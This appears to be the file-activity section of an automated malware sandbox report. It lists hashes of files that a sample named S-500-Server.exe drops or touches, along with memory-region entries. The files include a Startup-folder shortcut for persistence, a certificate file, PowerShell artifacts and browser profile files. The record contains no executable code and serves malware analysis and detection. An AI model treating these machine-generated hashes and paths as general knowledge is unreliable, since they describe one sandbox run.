C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 4ced9c17fe7f36646ad9326b1c81521d
SHA1 9fe3474d01a6ec3fefbd67e29812d6a2d3914f41
SHA256 861e244a689e787d0aa571cbe2cd0c477e6258ada7212226dab96f581a5a2534
SHA512 d4356512f74fc8b6ef1f7faceab35aeee7bf639756fcd1a1c7688b7c8389880be4b445ca17e8e6fc63ecd0f5631b1e6db804bab5da282247d250866c3c287d2c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

MD5 f50f89a0a91564d0b8a211f8921aa7de
SHA1 112403a17dd69d5b9018b8cede023cb3b54eab7d
SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
SHA512 bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

memory/1012-517-0x000001FCDA070000-0x000001FCDA080000-memory.dmp

memory/1012-518-0x000001FCE58B0000-0x000001FCE58BA000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\asdfgdfdfdfdfdfdffgfdfg\Certificate\ServerCertificate.p12

MD5 c60e527a85f285ddc66c2fcf160b1be7
SHA1 abcf2b6bffea9f0f30190783f6eae2434ef7a9a8
SHA256 35c46a9e9dc60a74a25572e743794a31fecd08672813d349a39f2d13b01e789f
SHA512 77a661544c2d7f2d8b870cdd503b806aea6de3a2b5aee19327c05aeef137a1df3661d249219fe73e7a300189c732efeb5d2004226c6e429fa024f1d3b1dec84e

C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe

MD5 73f13f003e8a295ba7049b98fcd685f3
SHA1 43f55faa61be0eaa1c5e5c25f48715ed38204998
SHA256 6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c
SHA512 99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

C:\Users\Admin\AppData\Local\Temp\S-500-Server.exe

MD5 73f13f003e8a295ba7049b98fcd685f3
SHA1 43f55faa61be0eaa1c5e5c25f48715ed38204998
SHA256 6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c
SHA512 99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

memory/2288-526-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/2288-527-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/2288-528-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/2288-529-0x0000000004D00000-0x00000000052A4000-memory.dmp

memory/2288-530-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-531-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-533-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-537-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-535-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-539-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-541-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/2288-542-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-544-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-548-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-546-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-550-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-552-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-554-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-556-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-558-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-560-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-562-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-564-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-566-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-568-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-570-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-572-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-574-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-576-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-578-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-580-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-582-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-584-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-586-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-588-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-590-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-592-0x0000000004B90000-0x0000000004C02000-memory.dmp

memory/2288-691-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/2288-693-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/2288-692-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/2288-694-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/1012-2725-0x000001FC839F0000-0x000001FC83AF0000-memory.dmp

memory/2288-2820-0x00000000053B0000-0x000000000544C000-memory.dmp

memory/1012-2822-0x000001FC839F0000-0x000001FC83AF0000-memory.dmp

memory/1012-2823-0x000001FC839F0000-0x000001FC83AF0000-memory.dmp

memory/1012-2824-0x000001FC839F0000-0x000001FC83AF0000-memory.dmp

memory/3752-2825-0x0000000002190000-0x00000000021C6000-memory.dmp

memory/3752-2826-0x0000000004D50000-0x0000000005378000-memory.dmp

memory/3752-2827-0x0000000002130000-0x0000000002140000-memory.dmp

memory/3752-2828-0x0000000002130000-0x0000000002140000-memory.dmp

memory/3752-2829-0x0000000004B00000-0x0000000004B22000-memory.dmp

memory/3752-2830-0x00000000053F0000-0x0000000005456000-memory.dmp

memory/3752-2831-0x00000000054D0000-0x0000000005536000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bpjweko5.0yb.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3752-2841-0x0000000004850000-0x000000000486E000-memory.dmp

memory/3752-2842-0x0000000002130000-0x0000000002140000-memory.dmp

memory/3752-2843-0x0000000006090000-0x00000000060C2000-memory.dmp

memory/3752-2844-0x000000006FC00000-0x000000006FC4C000-memory.dmp

memory/3752-2854-0x0000000006070000-0x000000000608E000-memory.dmp

memory/3752-2855-0x000000007EFB0000-0x000000007EFC0000-memory.dmp

memory/3752-2856-0x0000000007410000-0x0000000007A8A000-memory.dmp

memory/3752-2857-0x0000000006DC0000-0x0000000006DDA000-memory.dmp

memory/3752-2858-0x0000000006E30000-0x0000000006E3A000-memory.dmp

memory/3752-2859-0x0000000007030000-0x00000000070C6000-memory.dmp

memory/3752-2860-0x0000000007000000-0x000000000700E000-memory.dmp

memory/3752-2861-0x0000000007110000-0x000000000712A000-memory.dmp

memory/3752-2862-0x00000000070F0000-0x00000000070F8000-memory.dmp

memory/3752-2863-0x0000000002130000-0x0000000002140000-memory.dmp

memory/3752-2864-0x0000000002130000-0x0000000002140000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

memory/2348-2868-0x0000000002410000-0x0000000002420000-memory.dmp

memory/2348-2869-0x0000000002410000-0x0000000002420000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a18483e1d91121516aec0325c61fd5e4
SHA1 7b236344a7c80827c7675e48d8e07c5cae1bb18e
SHA256 5997b7baba0400aeda6e0a9cb87d1b93ce5bece999e325c5a49de153ae9268ef
SHA512 eee12f1a07786492b2ee09eb95ca5b70c332362d7823a9236843e01890ca2a06f9a3be7fa49ab33e4c49370b970756564e7bbc2b19ac30aad86b63e7c36d435a

memory/2348-2880-0x000000006FC00000-0x000000006FC4C000-memory.dmp

memory/2348-2890-0x0000000002410000-0x0000000002420000-memory.dmp

memory/2348-2891-0x000000007EE70000-0x000000007EE80000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 10cc4b3cde590889856c37e82dfbd7ee
SHA1 fbcc194aec599f616f490ab3490d9c9ed2b2164d
SHA256 1605e3b9eb22b39e2ec2addd558d5517801f52c665a19f6f1db8789caedeb3ee
SHA512 b9c5eb073392cfff8d3b9738da7ce6b2963ebaadd003296799f9dd3c3daab9603da98d10cf936c615d932b35995e060e6e70031e7aa807bb7c8a1771aa7375b3

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

MD5 73f13f003e8a295ba7049b98fcd685f3
SHA1 43f55faa61be0eaa1c5e5c25f48715ed38204998
SHA256 6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c
SHA512 99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

MD5 73f13f003e8a295ba7049b98fcd685f3
SHA1 43f55faa61be0eaa1c5e5c25f48715ed38204998
SHA256 6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c
SHA512 99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

MD5 73f13f003e8a295ba7049b98fcd685f3
SHA1 43f55faa61be0eaa1c5e5c25f48715ed38204998
SHA256 6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c
SHA512 99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

MD5 73f13f003e8a295ba7049b98fcd685f3
SHA1 43f55faa61be0eaa1c5e5c25f48715ed38204998
SHA256 6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c
SHA512 99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\S-500-Server.exe.log

MD5 98eea38457c9976c0ec48b5a70964041
SHA1 281ec6ada096be89ade13852ca86edfe42ffe3c1
SHA256 4a7455429d6f3c7390f97bc406d0bcc7d64ddff6bee5ffa9e88c5a75f806bfcf
SHA512 adb7bb4e1434d743932890aede4daa55c6e9f091415292775313dd172949fbd415f124c97e017a8204aab530b6184f196ab5cce005781b0853ffccc620f07530

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\46be7tph.default-release\activity-stream.discovery_stream.json.tmp

MD5 e8417111c46f67689773e04ae10074ee
SHA1 a7e6d614ad2ed5ac571f111e4c5c110664480a76
SHA256 70fe2e46bb6fb6ee66a39ae380575466a96f0de163a32e29ef38545f1529b2e4
SHA512 ddc6b168c80504ba86f67b5dfeb32f7e17f1835123804891450c13e204cd3e8a1f502cc1e89c5d0c1183fc36aedb8c68b0a8848b8735f42c8f817c8fa7c29b65

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\prefs.js

MD5 ab6693679c471af856593cb2ca401355
SHA1 12f2e4bea0e92945a02ea3c4afd4b9e3e458ac17
SHA256 8424a6643a5ad42d7cea2bb8f87d08742ca62bcdc792d46df702b32fbde1cae6
SHA512 5c71c3a827a781a1bc4df5aac07216a694c015ab2cd98ad8f0ded6f0a065e045b98bc18397d8b3c6444e197e54792148222d79fe0f9be65626cbb93cf7361dd1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\prefs-1.js

MD5 69a643cc20d41476fabb542906b8876e
SHA1 ffaaa9a3c14b1063bfed158d4108bf74fbc8302e
SHA256 f344e91e6983826cb4fe4473b8d7352bb50f190e7631b73aac418ab5136b94d5
SHA512 ae7a6876799011af40a0ef3da1ca175559220ba223c577c7b62ed593d7ac10cbb9d495f71e16544e4b7aeafb2a98f51fec56940fa9b7ff27afbd3639018a3706

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\sessionstore-backups\recovery.jsonlz4

MD5 ea43dcfbe84d0758cd119dc76ab3dacf
SHA1 dbaf3651e3a246d1b27e99060047129f1b71425f
SHA256 adf7715e237c919ca76370b92fecde507920395e635658da6bc4ebb95de6ddd9
SHA512 e305c2184d4e2eaa0da819ba8b26c4ae0c0012bf4281a1483e6fdc8793b707de65ca6ae22c4924f321338dce5ec6865be35524a02643f700abe15c58e9f14e13

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\prefs-1.js

MD5 8f1042e17218e22b5b3b48ca8810402b
SHA1 9fdd1d2d13c798715018bae587735eeb4051c599
SHA256 46fadb7fb7fe11e90780c0f0491ac7004b48b35671319c5a210db1c243d2af84
SHA512 e1eb2c76f3173a9b981b2affd3c4bda1b36c7d8d04912caa5032f53e53f294a502e9842377ec27724e1d899676ae226dbf649cb064df26b9fe30e06145a0606f

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\46be7tph.default-release\sessionstore-backups\recovery.jsonlz4

MD5 b0dd60e4644a72252b3066ab569f1f78
SHA1 f9ca62e106b877188a924d1a29d9ab19ca754057
SHA256 120983877d042bd9f36e2c27d8b38cbddfb798e8d909ebb11aa8637385094e27
SHA512 b2a10f4a65a3b679f35f0142f1cc617c894c3daf462a63d02606067bcac71799c63498d282d6ccc9106c09a4b13f8caa0b3279989a0e7fbf5dd7e1c415541ad7

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\S-500-Server.lnk

MD5 2095eabccb79e291172a004ab85b03ec
SHA1 e330902cde8520b484dc1f3d1990263b7c1b9a81
SHA256 d0ef9a8998213f4295e0e164759bbfb1cc64a507ece2c86f9d98d2250627c173
SHA512 2960161bd5b50313c138c1355e79e4e74f95521fd33de6f5c3396241909c8318280b76e8f9db745c8946ad15dae63e77cadd5c1e66a180b8dde65bf66ab136a2

C:\Users\Admin\AppData\Roaming\S-500-Server.exe

MD5 73f13f003e8a295ba7049b98fcd685f3
SHA1 43f55faa61be0eaa1c5e5c25f48715ed38204998
SHA256 6ba10108e5b52fde45c649de2f1b2e2093630d518d344b6c5135c3bff8baf57c
SHA512 99ff8b46a1aa433223c7d0b6ff893fd547e963d911810d579b11cf8495196feef2b7dba8c77fa23a867d5efbd5ded9f38e4844c3f6b2672f36e43929893843b1